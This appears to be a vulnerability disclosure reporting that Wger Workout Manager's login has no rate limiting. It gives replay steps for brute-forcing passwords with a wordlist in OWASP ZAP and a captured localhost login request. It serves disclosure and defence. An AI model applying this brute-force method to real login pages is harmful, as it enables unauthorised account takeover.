Description

Wger Workout Manager does not limit unsuccessful login attempts allowing Brute Forcing.

Proof of Concept

Steps to Reproduce:

1. Register a new user

2. Logout

3. Send a login request with an incorrect password

4. Capture the login request

5. Replay the login request with a different password value utilizing a password list payload

6. Should the password exist in the password list, a FOUND “Reason” with a Code of “300” will be issued

7. ZAP will continue attempting all passwords in the password list until complete

OWASP ZAP (Zed Attack Proxy) captured request below

POST http://localhost:8002/en/user/login HTTP/1.1
Host: localhost:8002
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Origin: https://localhost:8002
Connection: keep-alive
Referer: https://localhost:8002/en/user/login
Cookie: csrftoken=dmYHzhEL7jtry2rAuRuXFvfRNfr1ZhKELoaBcBHiD21rMHik5aAno2aJ44SloIAq; sessionid=ezv3ryk6pdpjsruystkuy9igz6nvjcwg
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
csrfmiddlewaretoken=6XFt2tC2nJ1s57MtQOmsiBqDnWHylBfBEZRnFNFzTszsjMDdr7sS18lvEL8SK25n&username=username1&password=password&submit=Login